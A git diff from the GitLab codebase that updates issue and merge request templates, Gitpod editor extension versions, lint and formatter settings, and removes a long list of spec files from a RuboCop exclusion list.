index 4a906b61378..ee8755d3292 100644
--- a/.gitlab/issue_templates/Snowplow event tracking.md
+++ b/.gitlab/issue_templates/Snowplow event tracking.md
@@ -4,7 +4,7 @@
* Snowplow is currently not used for self-hosted instances of GitLab - Self-hosted still rely on usage ping for product analytics - Snowplow is used for GitLab SaaS
* You do not need to create an issue to track generic front-end events, such as All page views, sessions, link clicks, some button clicks, etc.
* What you should capture are specific events with defined business logic. For example, when a user creates an incident by escalating an existing alert, or when a user creates and pushes up a new Node package to the NPM registry.
-* For more details read https://about.gitlab.com/handbook/business-ops/data-team/programs/data-for-product-managers/
+* For more details read https://about.gitlab.com/handbook/business-technology/data-team/programs/data-for-product-managers/
-->
<!--
diff --git a/.gitlab/merge_request_templates/Documentation.md b/.gitlab/merge_request_templates/Documentation.md
index 9c6b5a73b4f..99ad233c7e0 100644
--- a/.gitlab/merge_request_templates/Documentation.md
+++ b/.gitlab/merge_request_templates/Documentation.md
@@ -13,62 +13,29 @@
<!-- Link related issues below. -->
-## Author's checklist (required)
+## Author's checklist
- [ ] Follow the [Documentation Guidelines](https://docs.gitlab.com/ee/development/documentation/) and [Style Guide](https://docs.gitlab.com/ee/development/documentation/styleguide/).
-- If you have **Developer** permissions or higher:
- - [ ] Ensure that the [product tier badge](https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#product-tier-badges) is added to doc's `h1`.
- - [ ] Apply the ~documentation label, plus:
- - The corresponding DevOps stage and group labels, if applicable.
- - ~"development guidelines" when changing docs under `doc/development/*`, `CONTRIBUTING.md`, or `README.md`.
- - ~"development guidelines" and ~"Documentation guidelines" when changing docs under `development/documentation/*`.
- - ~"development guidelines" and ~"Description templates (.gitlab/\*)" when creating/updating issue and MR description templates.
- - [ ] [Request a review](https://docs.gitlab.com/ee/development/code_review.html#dogfooding-the-reviewers-feature)
- from the [designated Technical Writer](https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments).
+- [ ] Ensure that the [product tier badge](https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#product-tier-badges) is added to doc's `h1`.
+- [ ] [Request a review](https://docs.gitlab.com/ee/development/code_review.html#dogfooding-the-reviewers-feature) based on the documentation page's metadata and [associated Technical Writer](https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments).
-/label ~documentation
-/assign me
-
-Do not add the ~"feature", ~"frontend", ~"backend", ~"bug", or ~"database" labels if you are only updating documentation. These labels will cause the MR to be added to code verification QA issues.
-
-When applicable:
-
-- [ ] Update the [permissions table](https://docs.gitlab.com/ee/user/permissions.html).
-- [ ] Link docs to and from the higher-level index page, plus other related docs where helpful.
-- [ ] Add the [product tier badge](https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#product-tier-badges) accordingly.
-- [ ] Add [GitLab's version history note(s)](https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#gitlab-versions).
-- [ ] Add/update the [feature flag section](https://docs.gitlab.com/ee/development/documentation/feature_flags.html).
+To avoid having this MR be added to code verification QA issues, don't add these labels: ~"feature", ~"frontend", ~"backend", ~"bug", or ~"database"
## Review checklist
-All reviewers can help ensure accuracy, clarity, completeness, and adherence to the [Documentation Guidelines](https://docs.gitlab.com/ee/development/documentation/) and [Style Guide](https://docs.gitlab.com/ee/development/documentation/styleguide/).
-
-**1. Primary Reviewer**
-
-* [ ] Review by a code reviewer or other selected colleague to confirm accuracy, clarity, and completeness. This can be skipped for minor fixes without substantive content changes.
-
-**2. Technical Writer**
+Documentation-related MRs should be reviewed by a Technical Writer for a non-blocking review, based on [Documentation Guidelines](https://docs.gitlab.com/ee/development/documentation/) and the [Style Guide](https://docs.gitlab.com/ee/development/documentation/styleguide/).
-- [ ] Technical writer review. If not requested for this MR, must be scheduled post-merge. To request for this MR, assign the writer listed for the applicable [DevOps stage](https://about.gitlab.com/handbook/product/categories/#devops-stages).
- - [ ] Ensure docs metadata are present and up-to-date.
- - [ ] Ensure ~"Technical Writing" and ~"documentation" are added.
- - [ ] Add the corresponding `docs::` [scoped label](https://gitlab.com/groups/gitlab-org/-/labels?subscribed=&search=docs%3A%3A).
- - [ ] If working on UI text, add the corresponding `UI Text` [scoped label](https://gitlab.com/groups/gitlab-org/-/labels?subscribed=&search=ui+text).
- - [ ] Add ~"tw::doing" when starting work on the MR.
- - [ ] Add ~"tw::finished" if Technical Writing team work on the MR is complete but it remains open.
+- [ ] If the content requires it, ensure the information is reviewed by a subject matter expert.
+- Technical writer review items:
+ - [ ] Ensure docs metadata is present and up-to-date.
+ - [ ] Ensure the appropriate [labels](https://about.gitlab.com/handbook/engineering/ux/technical-writing/workflow/#labels) are added to this MR.
+ - If relevant to this MR, ensure [content topic type](https://docs.gitlab.com/ee/development/documentation/structure.html) principles are in use, including:
+ - [ ] The headings should be something you'd do a Google search for. Instead of `Default behavior`, say something like `Default behavior when you close an issue`.
+ - [ ] The headings (other than the page title) should be active. Instead of `Configuring GDK`, say something like `Configure GDK`.
+ - [ ] Any task steps should be written as a numbered list.
+ - If the content still needs to be edited for topic types, you can create a follow-up issue with the ~"docs-technical-debt" label.
+- [ ] Review by assigned maintainer, who can always request/require the above reviews. Maintainer's review can occur before or after a technical writer review.
+- [ ] Ensure a release milestone is set.
-For more information about labels, see [Technical Writing workflows - Labels](https://about.gitlab.com/handbook/engineering/ux/technical-writing/workflow/#labels).
-
-For suggestions that you are confident don't need to be reviewed, change them locally
-and push a commit directly to save others from unneeded reviews. For example:
-
-- Clear typos, like `this is a typpo`.
-- Minor issues, like single quotes instead of double quotes, Oxford commas, and periods.
-
-For more information, see our documentation on [Merging a merge request](https://docs.gitlab.com/ee/development/code_review.html#merging-a-merge-request).
-
-**3. Maintainer**
-
-1. [ ] Review by assigned maintainer, who can always request/require the above reviews. Maintainer's review can occur before or after a technical writer review.
-1. [ ] Ensure a release milestone is set.
-1. [ ] If there has not been a technical writer review, [create an issue for one using the Doc Review template](https://gitlab.com/gitlab-org/gitlab/issues/new?issuable_template=Doc%20Review).
+/label ~documentation
+/assign me
diff --git a/.gitlab/merge_request_templates/Quarantine End to End Test.md b/.gitlab/merge_request_templates/Quarantine End to End Test.md
index 5794a62df96..772167af3e9 100644
--- a/.gitlab/merge_request_templates/Quarantine End to End Test.md
+++ b/.gitlab/merge_request_templates/Quarantine End to End Test.md
@@ -21,7 +21,7 @@ the noise (due to constantly failing tests, flaky tests, and so on) so that new
- [ ] Quarantine test check-list
- [ ] Follow the [Quarantining Tests guide](https://about.gitlab.com/handbook/engineering/quality/guidelines/debugging-qa-test-failures/#quarantining-tests).
- [ ] Confirm the test has a [`quarantine:` tag with the specified quarantine type](https://about.gitlab.com/handbook/engineering/quality/guidelines/debugging-qa-test-failures/#quarantined-test-types).
- - [ ] Note if the test should be [quarantined for a specific environment](https://docs.gitlab.com/ee/development/testing_guide/end_to_end/environment_selection.html#quarantining-a-test-for-a-specific-environment).
+ - [ ] Note if the test should be [quarantined for a specific environment](https://docs.gitlab.com/ee/development/testing_guide/end_to_end/execution_context_selection.html#quarantine-a-test-for-a-specific-environment).
- [ ] Dequarantine test check-list
- [ ] Follow the [Dequarantining Tests guide](https://about.gitlab.com/handbook/engineering/quality/guidelines/debugging-qa-test-failures/#dequarantining-tests).
- [ ] Confirm the test consistently passes on the target GitLab environment(s).
diff --git a/.gitlab/merge_request_templates/Security Release.md b/.gitlab/merge_request_templates/Security Release.md
index 77e8718c34f..33c0a5b98a8 100644
--- a/.gitlab/merge_request_templates/Security Release.md
+++ b/.gitlab/merge_request_templates/Security Release.md
@@ -30,8 +30,8 @@ See [the general developer security release guidelines](https://gitlab.com/gitla
## Maintainer checklist
-- [ ] Correct milestone is applied and the title is matching across all backports
-- [ ] Assigned to `@gitlab-release-tools-bot` with passing CI pipelines and **when all backports including the MR targeting master are ready.**
+- [ ] Correct milestone is applied and the title is matching across all backports.
+- [ ] Assigned to `@gitlab-release-tools-bot` with passing CI pipelines.
/label ~security
diff --git a/.gitpod.yml b/.gitpod.yml
index f6c1a60b03a..0cb0e55c373 100644
--- a/.gitpod.yml
+++ b/.gitpod.yml
@@ -78,9 +78,9 @@ ports:
vscode:
extensions:
- - rebornix.ruby@0.27.0:QyGBeRyslOfdRgOPRGm6PQ==
- - wingrunr21.vscode-ruby@0.27.0:beIqQUhLRuJ5Vao4B2Lyng==
- - karunamurti.haml@1.1.0:twCwOYt3/Ttfb3+iwblPDA==
- - octref.vetur@0.25.0:UofirBhedyhdx/jCnPeJDg==
- - dbaeumer.vscode-eslint@2.1.3:1NRvj3UKNTNwmYjptmUmIw==
- - GitLab.gitlab-workflow@3.3.0:50q1byIi4M01G9qrTCCAYQ==
+ - rebornix.ruby@0.28.0
+ - wingrunr21.vscode-ruby@0.27.0
+ - karunamurti.haml@1.3.1
+ - octref.vetur@0.34.1
+ - dbaeumer.vscode-eslint@2.1.8
+ - gitlab.gitlab-workflow@3.24.0
diff --git a/.markdownlint.yml b/.markdownlint.yml
index dd04406f68d..35e8ef119be 100644
--- a/.markdownlint.yml
+++ b/.markdownlint.yml
@@ -1,3 +1,4 @@
+---
# Base Markdownlint configuration
# Extended Markdownlint configuration in doc/.markdownlint/
"default": true
@@ -66,6 +67,7 @@
"Grafana",
"Gzip",
"Helm",
+ "HipChat",
"ID",
"Ingress",
"jasmine-jquery",
@@ -130,6 +132,7 @@
"Ubuntu",
"Ultra Auth",
"Unicorn",
+ "unicorn-worker-killer",
"URL",
"WebdriverIO",
"YAML",
diff --git a/.prettierignore b/.prettierignore
index ea7e6268b93..2c5104fb1b8 100644
--- a/.prettierignore
+++ b/.prettierignore
@@ -4,6 +4,7 @@
/public/
/vendor/
/tmp/
+/sitespeed-result/
# ignore stylesheets for now as this clashes with our linter
*.css
diff --git a/.rubocop.yml b/.rubocop.yml
index a26e9ab986b..657385ba66d 100644
--- a/.rubocop.yml
+++ b/.rubocop.yml
@@ -123,6 +123,7 @@ Naming/FileName:
- 'ee/lib/generators/**/*'
- 'qa/qa/scenario/test/integration/ldap_no_tls.rb'
- 'qa/qa/scenario/test/integration/ldap_tls.rb'
+ - 'qa/tasks/*'
IgnoreExecutableScripts: true
AllowedAcronyms:
@@ -280,6 +281,22 @@ GitlabSecurity/PublicSend:
- 'ee/lib/**/*.rake'
- 'ee/spec/**/*'
+Database/MultipleDatabases:
+ Enabled: true
+ Include:
+ - 'app/**/*.rb'
+ - 'ee/app/**/*.rb'
+ - 'lib/**/*.rb'
+ - 'ee/lib/**/*.rb'
+ - 'spec/**/*.rb'
+ - 'ee/spec/**/*.rb'
+ Exclude:
+ - 'ee/db/**/*.rb'
+ - 'spec/migrations/**/*.rb'
+ - 'lib/gitlab/background_migration/**/*.rb'
+ - 'spec/lib/gitlab/background_migration/**/*.rb'
+ - 'spec/lib/gitlab/database/**/*.rb'
+
Gitlab/DuplicateSpecLocation:
Enabled: true
@@ -607,6 +624,12 @@ Migration/CreateTableWithForeignKeys:
Exclude:
- !ruby/regexp /\Adb\/(?:post_)?migrate\/(?:201[0-9]\d+|20200[0-8][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9])_.+\.rb\z/
+Migration/PreventIndexCreation:
+ Exclude:
+ - !ruby/regexp /\Adb\/(post_)?migrate\/201.*\.rb\z/
+ - !ruby/regexp /\Adb\/(post_)?migrate\/2020.*\.rb\z/
+ - !ruby/regexp /\Adb\/(post_)?migrate\/20210[1-6].*\.rb\z/
+
Gitlab/RailsLogger:
Exclude:
- 'spec/**/*.rb'
diff --git a/.rubocop_manual_todo.yml b/.rubocop_manual_todo.yml
index dae8084b656..61593c3b464 100644
--- a/.rubocop_manual_todo.yml
+++ b/.rubocop_manual_todo.yml
@@ -13,8 +13,6 @@
# WIP See https://gitlab.com/gitlab-org/gitlab/-/issues/322903
Graphql/Descriptions:
Exclude:
- - 'ee/app/graphql/types/epic_state_enum.rb'
- - 'ee/app/graphql/types/health_status_enum.rb'
- 'ee/app/graphql/types/iteration_state_enum.rb'
- 'ee/app/graphql/types/requirements_management/requirement_state_enum.rb'
- 'ee/app/graphql/types/requirements_management/test_report_state_enum.rb'
@@ -334,407 +332,6 @@ Rails/TimeZone:
- 'spec/tooling/rspec_flaky/listener_spec.rb'
- 'spec/tooling/rspec_flaky/report_spec.rb'
-# WIP: https://gitlab.com/gitlab-org/gitlab/-/issues/325836
-RSpec/EmptyLineAfterFinalLetItBe:
- Exclude:
- - ee/spec/controllers/subscriptions_controller_spec.rb
- - ee/spec/features/ci_shared_runner_warnings_spec.rb
- - ee/spec/features/integrations/jira/jira_issues_list_spec.rb
- - ee/spec/features/markdown/metrics_spec.rb
- - ee/spec/features/registrations/group_invites_during_signup_flow_spec.rb
- - ee/spec/features/subscriptions_spec.rb
- - ee/spec/lib/ee/api/entities/user_with_admin_spec.rb
- - ee/spec/lib/ee/api/entities/vulnerability_spec.rb
- - ee/spec/lib/ee/event_filter_spec.rb
- - ee/spec/lib/ee/gitlab/alert_management/payload/generic_spec.rb
- - ee/spec/lib/ee/gitlab/alert_management/payload_spec.rb
- - ee/spec/lib/ee/gitlab/ci/pipeline/chain/validate/external_spec.rb
- - ee/spec/lib/ee/gitlab/ci/pipeline/quota/activity_spec.rb
- - ee/spec/lib/ee/gitlab/ci/pipeline/quota/job_activity_spec.rb
- - ee/spec/lib/ee/gitlab/ci/pipeline/quota/size_spec.rb
- - ee/spec/lib/ee/gitlab/git_access_design_spec.rb
- - ee/spec/lib/ee/gitlab/git_access_snippet_spec.rb
- - ee/spec/lib/ee/gitlab/hook_data/issue_builder_spec.rb
- - ee/spec/lib/ee/gitlab/import_export/project/tree_restorer_spec.rb
- - ee/spec/lib/ee/gitlab/snippet_search_results_spec.rb
- - ee/spec/lib/elastic/latest/git_class_proxy_spec.rb
- - ee/spec/lib/gitlab/alert_management/payload/cilium_spec.rb
- - ee/spec/lib/gitlab/analytics/cycle_analytics/summary/group/stage_time_summary_spec.rb
- - ee/spec/lib/gitlab/checks/diff_check_spec.rb
- - ee/spec/lib/gitlab/code_owners/loader_spec.rb
- - ee/spec/lib/gitlab/git_access_spec.rb
- - ee/spec/lib/gitlab/git_access_wiki_spec.rb
- - ee/spec/lib/gitlab/graphql/aggregations/vulnerability_statistics/lazy_aggregate_spec.rb
- - ee/spec/lib/gitlab/insights/project_insights_config_spec.rb
- - ee/spec/lib/gitlab/sitemaps/url_extractor_spec.rb
- - ee/spec/requests/api/analytics/code_review_analytics_spec.rb
- - ee/spec/requests/api/audit_events_spec.rb
- - ee/spec/requests/api/commits_spec.rb
- - ee/spec/requests/api/dora/metrics_spec.rb
- - ee/spec/requests/api/epics_spec.rb
- - ee/spec/requests/api/geo_spec.rb
- - ee/spec/requests/api/graphql/boards/epic_board_list_epics_query_spec.rb
- - ee/spec/requests/api/graphql/current_user/todos_query_spec.rb
- - ee/spec/requests/api/graphql/group/epic/epic_issues_spec.rb
- - ee/spec/requests/api/graphql/group/epics_spec.rb
- - ee/spec/requests/api/graphql/mutations/analytics/devops_adoption/segments/create_spec.rb
- - ee/spec/requests/api/graphql/mutations/analytics/devops_adoption/segments/delete_spec.rb
- - ee/spec/requests/api/graphql/mutations/boards/create_spec.rb
- - ee/spec/requests/api/graphql/mutations/boards/epic_boards/create_spec.rb
- - ee/spec/requests/api/graphql/mutations/boards/epic_boards/update_spec.rb
- - ee/spec/requests/api/graphql/mutations/boards/issues/issue_move_list_spec.rb
- - ee/spec/requests/api/graphql/mutations/boards/lists/update_limit_metrics_spec.rb
- - ee/spec/requests/api/graphql/mutations/compliance_management/frameworks/destroy_spec.rb
- - ee/spec/requests/api/graphql/mutations/compliance_management/frameworks/update_spec.rb
- - ee/spec/requests/api/graphql/mutations/dast_scanner_profiles/update_spec.rb
- - ee/spec/requests/api/graphql/mutations/environments/canary_ingress/update_spec.rb
- - ee/spec/requests/api/graphql/mutations/epics/add_issue_spec.rb
- - ee/spec/requests/api/graphql/mutations/epics/set_subscription_spec.rb
- - ee/spec/requests/api/graphql/mutations/epics/update_spec.rb
- - ee/spec/requests/api/graphql/mutations/gitlab_subscriptions/activate_spec.rb
- - ee/spec/requests/api/graphql/mutations/incident_management/oncall_rotation/create_spec.rb
- - ee/spec/requests/api/graphql/mutations/incident_management/oncall_schedule/create_spec.rb
- - ee/spec/requests/api/graphql/mutations/incident_management/oncall_schedule/destroy_spec.rb
- - ee/spec/requests/api/graphql/mutations/incident_management/oncall_schedule/update_spec.rb
- - ee/spec/requests/api/graphql/mutations/issues/promote_to_epic_spec.rb
- - ee/spec/requests/api/graphql/mutations/issues/update_spec.rb
- - ee/spec/requests/api/graphql/mutations/iterations/create_spec.rb
- - ee/spec/requests/api/graphql/mutations/notes/create/note_spec.rb
- - ee/spec/requests/api/graphql/mutations/quality_management/test_cases/create_spec.rb
- - ee/spec/requests/api/graphql/namespace/compliance_frameworks_spec.rb
- - ee/spec/requests/api/graphql/project/alert_management/payload_fields_spec.rb
- - ee/spec/requests/api/graphql/project/requirements_management/requirements_spec.rb
- - ee/spec/requests/api/graphql/projects/compliance_frameworks_spec.rb
- - ee/spec/requests/api/groups_spec.rb
- - ee/spec/requests/api/internal/base_spec.rb
- - ee/spec/requests/api/issues_spec.rb
- - ee/spec/requests/api/ldap_spec.rb
- - ee/spec/requests/api/merge_request_approval_rules_spec.rb
- - ee/spec/requests/api/merge_request_approvals_spec.rb
- - ee/spec/requests/api/merge_requests_spec.rb
- - ee/spec/requests/api/merge_trains_spec.rb
- - ee/spec/requests/api/project_approval_rules_spec.rb
- - ee/spec/requests/api/project_approval_settings_spec.rb
- - ee/spec/requests/api/projects_spec.rb
- - ee/spec/requests/api/todos_spec.rb
- - ee/spec/requests/api/vulnerabilities_spec.rb
- - ee/spec/requests/api/vulnerability_issue_links_spec.rb
- - ee/spec/requests/api/wikis_spec.rb
- - ee/spec/requests/callout_spec.rb
- - ee/spec/requests/git_http_geo_spec.rb
- - ee/spec/requests/repositories/git_http_controller_spec.rb
- - ee/spec/services/alert_management/extract_alert_payload_fields_service_spec.rb
- - ee/spec/services/alert_management/process_prometheus_alert_service_spec.rb
- - ee/spec/services/approval_rules/create_service_spec.rb
- - ee/spec/services/audit_event_service_spec.rb
- - ee/spec/services/billable_members/destroy_service_spec.rb
- - ee/spec/services/boards/epic_boards/destroy_service_spec.rb
- - ee/spec/services/clusters/agent_tokens/create_service_spec.rb
- - ee/spec/services/compliance_management/frameworks/create_service_spec.rb
- - ee/spec/services/compliance_management/frameworks/update_service_spec.rb
- - ee/spec/services/dast_scanner_profiles/destroy_service_spec.rb
- - ee/spec/services/dast_scanner_profiles/update_service_spec.rb
- - ee/spec/services/dast_site_profiles/destroy_service_spec.rb
- - ee/spec/services/external_status_checks/create_service_spec.rb
- - ee/spec/services/external_status_checks/destroy_service_spec.rb
- - ee/spec/services/external_status_checks/update_service_spec.rb
- - ee/spec/services/gitlab_subscriptions/activate_service_spec.rb
- - ee/spec/services/gitlab_subscriptions/apply_trial_service_spec.rb
- - ee/spec/services/incident_management/incidents/upload_metric_service_spec.rb
- - ee/spec/services/incident_management/oncall_rotations/edit_service_spec.rb
- - ee/spec/services/merge_request_approval_settings/update_service_spec.rb
- - ee/spec/services/personal_access_tokens/create_service_audit_log_spec.rb
- - ee/spec/services/personal_access_tokens/groups/update_lifetime_service_spec.rb
- - ee/spec/services/push_rules/create_or_update_service_spec.rb
- - ee/spec/services/quality_management/test_cases/create_service_spec.rb
- - ee/spec/services/quick_actions/interpret_service_spec.rb
- - ee/spec/services/requirements_management/create_requirement_service_spec.rb
- - ee/spec/services/requirements_management/export_csv_service_spec.rb
- - ee/spec/services/requirements_management/update_requirement_service_spec.rb
- - ee/spec/services/resource_access_tokens/create_service_spec.rb
- - ee/spec/services/resource_access_tokens/revoke_service_spec.rb
- - spec/controllers/confirmations_controller_spec.rb
- - spec/controllers/dashboard/projects_controller_spec.rb
- - spec/controllers/invites_controller_spec.rb
- - spec/controllers/profiles/emails_controller_spec.rb
- - spec/controllers/users/terms_controller_spec.rb
- - spec/features/cycle_analytics_spec.rb
- - spec/features/dashboard/datetime_on_tooltips_spec.rb
- - spec/features/dashboard/merge_requests_spec.rb
- - spec/features/file_uploads/group_import_spec.rb
- - spec/features/file_uploads/project_import_spec.rb
- - spec/features/file_uploads/user_avatar_spec.rb
- - spec/features/issues/user_sees_breadcrumb_links_spec.rb
- - spec/features/markdown/metrics_spec.rb
- - spec/features/operations_sidebar_link_spec.rb
- - spec/features/participants_autocomplete_spec.rb
- - spec/features/snippets/embedded_snippet_spec.rb
- - spec/finders/alert_management/alerts_finder_spec.rb
- - spec/finders/ci/commit_statuses_finder_spec.rb
- - spec/finders/container_repositories_finder_spec.rb
- - spec/finders/deployments_finder_spec.rb
- - spec/finders/events_finder_spec.rb
- - spec/finders/group_descendants_finder_spec.rb
- - spec/finders/groups_finder_spec.rb
- - spec/finders/packages/conan/package_file_finder_spec.rb
- - spec/finders/packages/go/module_finder_spec.rb
- - spec/finders/packages/group_packages_finder_spec.rb
- - spec/finders/packages/nuget/package_finder_spec.rb
- - spec/finders/packages/package_file_finder_spec.rb
- - spec/finders/packages/package_finder_spec.rb
- - spec/finders/template_finder_spec.rb
- - spec/finders/todos_finder_spec.rb
- - spec/finders/user_recent_events_finder_spec.rb
- - spec/frontend/fixtures/pipelines.rb
- - spec/graphql/features/authorization_spec.rb
- - spec/graphql/gitlab_schema_spec.rb
- - spec/graphql/mutations/boards/lists/update_spec.rb
- - spec/graphql/mutations/custom_emoji/create_spec.rb
- - spec/graphql/mutations/discussions/toggle_resolve_spec.rb
- - spec/graphql/mutations/environments/canary_ingress/update_spec.rb
- - spec/graphql/mutations/issues/set_severity_spec.rb
- - spec/graphql/mutations/labels/create_spec.rb
- - spec/graphql/mutations/notes/reposition_image_diff_note_spec.rb
- - spec/lib/bulk_imports/groups/loaders/group_loader_spec.rb
- - spec/lib/extracts_path_spec.rb
- - spec/lib/extracts_ref_spec.rb
- - spec/lib/gitlab/cache/ci/project_pipeline_status_spec.rb
- - spec/lib/gitlab/closing_issue_extractor_spec.rb
- - spec/lib/gitlab/composer/cache_spec.rb
- - spec/lib/gitlab/data_builder/wiki_page_spec.rb
- - spec/lib/gitlab/deploy_key_access_spec.rb
- - spec/lib/gitlab/email/handler/service_desk_handler_spec.rb
- - spec/lib/gitlab/gitaly_client/operation_service_spec.rb
- - spec/lib/gitlab/gl_repository/repo_type_spec.rb
- - spec/lib/gitlab/group_search_results_spec.rb
- - spec/lib/gitlab/json_cache_spec.rb
- - spec/lib/gitlab/language_detection_spec.rb
- - spec/lib/gitlab/project_search_results_spec.rb
- - spec/lib/gitlab/prometheus/query_variables_spec.rb
- - spec/lib/gitlab/reactive_cache_set_cache_spec.rb
- - spec/lib/gitlab/reference_extractor_spec.rb
- - spec/lib/gitlab/search_results_spec.rb
- - spec/lib/gitlab/shell_spec.rb
- - spec/models/abuse_report_spec.rb
- - spec/models/alert_management/alert_spec.rb
- - spec/models/audit_event_spec.rb
- - spec/models/chat_name_spec.rb
- - spec/models/chat_team_spec.rb
- - spec/models/clusters/kubernetes_namespace_spec.rb
- - spec/models/commit_spec.rb
- - spec/models/deploy_token_spec.rb
- - spec/models/deployment_spec.rb
- - spec/models/diff_viewer/server_side_spec.rb
- - spec/models/environment_spec.rb
- - spec/models/event_collection_spec.rb
- - spec/models/label_note_spec.rb
- - spec/models/lfs_file_lock_spec.rb
- - spec/models/member_spec.rb
- - spec/models/merge_request_diff_spec.rb
- - spec/models/namespace/root_storage_statistics_spec.rb
- - spec/models/note_spec.rb
- - spec/models/notification_setting_spec.rb
- - spec/models/operations/feature_flag_spec.rb
- - spec/models/plan_limits_spec.rb
- - spec/models/prometheus_alert_spec.rb
- - spec/models/protected_branch/push_access_level_spec.rb
- - spec/models/repository_spec.rb
- - spec/models/snippet_repository_spec.rb
- - spec/models/snippet_spec.rb
- - spec/models/terraform/state_spec.rb
- - spec/models/u2f_registration_spec.rb
- - spec/models/user_spec.rb
- - spec/requests/api/api_spec.rb
- - spec/requests/api/award_emoji_spec.rb
- - spec/requests/api/branches_spec.rb
- - spec/requests/api/ci/pipelines_spec.rb
- - spec/requests/api/composer_packages_spec.rb
- - spec/requests/api/deploy_tokens_spec.rb
- - spec/requests/api/deployments_spec.rb
- - spec/requests/api/error_tracking_spec.rb
- - spec/requests/api/feature_flags_spec.rb
- - spec/requests/api/freeze_periods_spec.rb
- - spec/requests/api/generic_packages_spec.rb
- - spec/requests/api/graphql/boards/board_lists_query_spec.rb
- - spec/requests/api/graphql/ci/pipelines_spec.rb
- - spec/requests/api/graphql/current_user_todos_spec.rb
- - spec/requests/api/graphql/group/timelogs_spec.rb
- - spec/requests/api/graphql/issue_status_counts_spec.rb
- - spec/requests/api/graphql/metrics/dashboard_query_spec.rb
- - spec/requests/api/graphql/mutations/admin/sidekiq_queues/delete_jobs_spec.rb
- - spec/requests/api/graphql/mutations/alert_management/alerts/set_assignees_spec.rb
- - spec/requests/api/graphql/mutations/alert_management/alerts/todo/create_spec.rb
- - spec/requests/api/graphql/mutations/alert_management/alerts/update_alert_status_spec.rb
- - spec/requests/api/graphql/mutations/alert_management/http_integration/create_spec.rb
- - spec/requests/api/graphql/mutations/alert_management/prometheus_integration/create_spec.rb
- - spec/requests/api/graphql/mutations/award_emojis/add_spec.rb
- - spec/requests/api/graphql/mutations/award_emojis/toggle_spec.rb
- - spec/requests/api/graphql/mutations/boards/create_spec.rb
- - spec/requests/api/graphql/mutations/boards/destroy_spec.rb
- - spec/requests/api/graphql/mutations/boards/lists/destroy_spec.rb
- - spec/requests/api/graphql/mutations/boards/lists/update_spec.rb
- - spec/requests/api/graphql/mutations/branches/create_spec.rb
- - spec/requests/api/graphql/mutations/ci/ci_cd_settings_update_spec.rb
- - spec/requests/api/graphql/mutations/commits/create_spec.rb
- - spec/requests/api/graphql/mutations/container_expiration_policy/update_spec.rb
- - spec/requests/api/graphql/mutations/discussions/toggle_resolve_spec.rb
- - spec/requests/api/graphql/mutations/environments/canary_ingress/update_spec.rb
- - spec/requests/api/graphql/mutations/issues/set_locked_spec.rb
- - spec/requests/api/graphql/mutations/issues/set_severity_spec.rb
- - spec/requests/api/graphql/mutations/issues/update_spec.rb
- - spec/requests/api/graphql/mutations/jira_import/import_users_spec.rb
- - spec/requests/api/graphql/mutations/jira_import/start_spec.rb
- - spec/requests/api/graphql/mutations/labels/create_spec.rb
- - spec/requests/api/graphql/mutations/merge_requests/accept_spec.rb
- - spec/requests/api/graphql/mutations/merge_requests/create_spec.rb
- - spec/requests/api/graphql/mutations/metrics/dashboard/annotations/create_spec.rb
- - spec/requests/api/graphql/mutations/namespace/package_settings/update_spec.rb
- - spec/requests/api/graphql/mutations/notes/create/diff_note_spec.rb
- - spec/requests/api/graphql/mutations/notes/create/image_diff_note_spec.rb
- - spec/requests/api/graphql/mutations/notes/create/note_spec.rb
- - spec/requests/api/graphql/mutations/notes/reposition_image_diff_note_spec.rb
- - spec/requests/api/graphql/mutations/notes/update/image_diff_note_spec.rb
- - spec/requests/api/graphql/mutations/snippets/mark_as_spam_spec.rb
- - spec/requests/api/graphql/mutations/snippets/update_spec.rb
- - spec/requests/api/graphql/mutations/user_callouts/create_spec.rb
- - spec/requests/api/graphql/namespace/package_settings_spec.rb
- - spec/requests/api/graphql/project/alert_management/alert/issue_spec.rb
- - spec/requests/api/graphql/project/alert_management/alert_status_counts_spec.rb
- - spec/requests/api/graphql/project/error_tracking/sentry_detailed_error_request_spec.rb
- - spec/requests/api/graphql/project/error_tracking/sentry_errors_request_spec.rb
- - spec/requests/api/graphql/project/issue/designs/designs_spec.rb
- - spec/requests/api/graphql/project/project_pipeline_statistics_spec.rb
- - spec/requests/api/graphql/project_query_spec.rb
- - spec/requests/api/graphql/query_spec.rb
- - spec/requests/api/graphql/user/starred_projects_query_spec.rb
- - spec/requests/api/graphql/user_query_spec.rb
- - spec/requests/api/graphql_spec.rb
- - spec/requests/api/group_import_spec.rb
- - spec/requests/api/group_milestones_spec.rb
- - spec/requests/api/group_packages_spec.rb
- - spec/requests/api/groups_spec.rb
- - spec/requests/api/helpers_spec.rb
- - spec/requests/api/import_bitbucket_server_spec.rb
- - spec/requests/api/internal/base_spec.rb
- - spec/requests/api/lint_spec.rb
- - spec/requests/api/markdown_spec.rb
- - spec/requests/api/merge_requests_spec.rb
- - spec/requests/api/metrics/dashboard/annotations_spec.rb
- - spec/requests/api/metrics/user_starred_dashboards_spec.rb
- - spec/requests/api/nuget_project_packages_spec.rb
- - spec/requests/api/project_clusters_spec.rb
- - spec/requests/api/project_container_repositories_spec.rb
- - spec/requests/api/project_milestones_spec.rb
- - spec/requests/api/project_packages_spec.rb
- - spec/requests/api/pypi_packages_spec.rb
- - spec/requests/api/rubygem_packages_spec.rb
- - spec/requests/api/unleash_spec.rb
- - spec/requests/api/users_spec.rb
- - spec/requests/groups/email_campaigns_controller_spec.rb
- - spec/requests/import/gitlab_groups_controller_spec.rb
- - spec/requests/jwt_controller_spec.rb
- - spec/requests/lfs_http_spec.rb
- - spec/requests/product_analytics/collector_app_spec.rb
- - spec/requests/rack_attack_global_spec.rb
- - spec/services/admin/propagate_service_template_spec.rb
- - spec/services/alert_management/create_alert_issue_service_spec.rb
- - spec/services/audit_event_service_spec.rb
- - spec/services/auth/dependency_proxy_authentication_service_spec.rb
- - spec/services/auto_merge_service_spec.rb
- - spec/services/bulk_create_integration_service_spec.rb
- - spec/services/clusters/applications/prometheus_health_check_service_spec.rb
- - spec/services/container_expiration_policy_service_spec.rb
- - spec/services/dependency_proxy/find_or_create_manifest_service_spec.rb
- - spec/services/discussions/resolve_service_spec.rb
- - spec/services/discussions/unresolve_service_spec.rb
- - spec/services/git/branch_push_service_spec.rb
